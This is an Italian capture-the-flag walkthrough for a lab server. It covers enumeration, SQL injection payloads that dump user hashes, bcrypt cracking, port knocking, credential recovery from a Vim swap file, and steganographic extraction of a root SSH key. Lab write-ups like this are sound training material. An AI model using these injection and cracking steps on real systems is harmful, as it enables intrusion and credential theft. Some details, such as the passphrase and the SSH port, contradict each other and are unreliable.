MR ROBOT CREW

CTF Walkthrough — BlackBox Epicode

Difficoltà: Medium/Hard | Data: Aprile 2026

Scenario

Un dipendente infedele di nome Luca ha deliberatamente sabotato il server aziendale Theta, cambiando le password e alterando i servizi. Da una breve indagine OSINT emerge che Luca ha intrecciato una relazione con Milena, anch'ella operante presso Theta. L'obiettivo è riprendere il controllo del server compromesso e trovare tutte le flag.

IP target: 10.0.2.7

Flag Trovate

- milena: FLAG{incanto_della_sapienza_123}
- luca: FLAG{cuore_di_leone_456}
- root: FLAG{la_magia_non_ha_confini}

Step 1 — Enumerazione iniziale (Nmap)

```
nmap -p- -sV -sC -T4 10.0.2.7
```

Porte trovate:

- 21/tcp — FTP (Synology DiskStation)
- 80/tcp — HTTP Apache 2.4.52, redirect a login.php
- 135/tcp — msrpc
- 1723/tcp — pptp
- 1883/tcp — MQTT
- 2222/tcp — SSH (OpenSSH 8.9p1)
- 5060/tcp — SIP
- 5061/tcp — SIP over TLS
- 8080/tcp — HTTP nginx
- 8443/tcp — HTTPS nginx

La porta 80 con login.php è il punto di ingresso principale. SSH è sulla porta non standard 2222.

Step 2 — Analisi della pagina di login

Cookie wand

Intercettando il traffico con Burp Suite si nota un cookie anomalo nel response:

```
wand=c2MqVDFsOVN5ezVi
```

Decodificando il valore in Base64:

```
echo 'c2MqVDFsOVN5ezVi' | base64 -d
```

Risultato: sc*T1l9Sy{5b — questo valore tornerà utile in seguito come passphrase steganografica.

Source HTML — password accio

Nel sorgente HTML della pagina di login si trova un tag img commentato:

```
<!--<img src="images/theta-logo.jpg" pass="accio" alt="Theta Logo">--
>
```

L'attributo pass='accio' rivela la password. Accio è un incantesimo della Mappa del Malandrino di Harry Potter.

Codice Brainfuck

Nel sorgente HTML è presente una stringa Brainfuck nascosta nei commenti. Decodificandola su dcode.fr si ottiene il primo frammento: 9991 => di

---

Step 3 — Enumerazione web con ffuf

```
ffuf -u http://10.0.2.7/FUZZ -w /usr/share/wordlists/dirb/common.txt
-mc 200,301,302,403
```

Directory trovate:

- /tmp — Status 200, contiene Brainfuck: 7282 => intenzioni
- /oldsite — Status 301, vulnerabile a SQL Injection
- /welcome.php — Status 200, contiene Brainfuck: 65511 => fatto
- /images, /css, /javascript — file statici

Step 4 — SQL Injection su /oldsite

La pagina /oldsite/login.php è vulnerabile a SQL Injection. Confermato con payload:

```
' OR 1=1#
```

Il database è MariaDB. Tramite UNION-based injection si dumpano gli utenti:

```
' UNION SELECT group_concat(username,':',password), 1 FROM users-- -
```

Hash trovati (bcrypt $2y$10$):

- anna : $2y$10$Dy2MtfKLFvH78...
- luca : $2y$10$INS1EUevEtLqsp...
- marco : $2y$10$gdY5a.GIC6ulg7...

- milena : $2y$10$3ESgP8ETH4VPpbsw...

Craccando gli hash con hashcat/john si ottiene la password di milena: darkprincess

---

Step 5 — Raccolta frammenti Brainfuck e Port Knocking

Frammenti nascosti

I frammenti Brainfuck sono nascosti in vari file del sito — sorgenti HTML, CSS, JS, pagine PHP. Ogni frammento ha la forma: numero => parola

- 1700 => solennemente (in /oldsite o file statici)
- 7282 => intenzioni (in /tmp)
- 9220 => giuro (nel sorgente index.php loggato)
- 9991 => di (nella source della pagina di login)
- 12000 => il (in /welcome.php o simile)
- 37789 => buone (in /oldsite/css/style.css)
- 41002 => misfatto (in file statici)
- 55677 => non avere (in /css/style.css)
- 65511 => fatto (in /welcome.php)

Le due frasi della Mappa del Malandrino

Ricomponendo i frammenti si ottengono le due frasi iconiche di Harry Potter:

- 'Giuro solennemente di non avere buone intenzioni'
- 'Fatto il misfatto'

Port knocking

I numeri sono la sequenza di port knocking. Usando i numeri nell'ordine della frase:

```
knock 10.0.2.7 9220 1700 9991 55677 37789 7282
```

Dopo il knock la porta 22 SSH si apre. Prima era chiusa e il servizio FTP rispondeva con 421.

Step 6 — Accesso SSH come milena

```
ssh milena@10.0.2.7
```

Password: darkprincess

Flag trovata: FLAG{incanto_della_sapienza_123}

Step 7 — Accesso SSH come luca (via Vim swap file)

Nella home di milena si trova una cartella shared con un file di swap di Vim:

```
ls -la ~/shared/
vim -r MyLovePotion.swp
```

Il file contiene le credenziali di luca. Password recuperata: 9iT(0F98!7^-i&h

```
ssh luca@10.0.2.7
```

Flag trovata: FLAG{cuore_di_leone_456}

Step 8 — Steganografia e accesso root

File .theta-key.jpg.bk

Nella home di luca si trova un file nascosto:

```
ls -la
```

Il file .theta-key.jpg.bk è un JPEG reale (verificato con exiftool). Si usa steghide con la passphrase ricavata dal cookie wand decodificato in base64:

```
steghide extract -sf .theta-key.jpg.bk
```

Passphrase: c2MqVDFsOVN5ezVi (il valore originale Base64 del cookie wand)

Viene estratto un file id_rsa — chiave SSH privata.

Accesso root con chiave SSH

```
chmod 600 id_rsa
ssh -i id_rsa root@10.0.2.7
```

Flag trovata: FLAG{la_magia_non_ha_confini}

Tecniche apprese

- Intercettazione e analisi cookie con Burp Suite
- Decodifica Base64 di parametri HTTP
- Lettura e analisi del sorgente HTML per indizi nascosti
- Decodifica Brainfuck per messaggi cifrati
- Enumerazione web con ffuf
- SQL Injection UNION-based per dump di database
- Cracking hash bcrypt con hashcat/john
- Port knocking con sequenza numerica
- Recupero dati da file di swap Vim (.swp)
- Steganografia su JPEG con steghide
- Accesso SSH tramite chiave privata estratta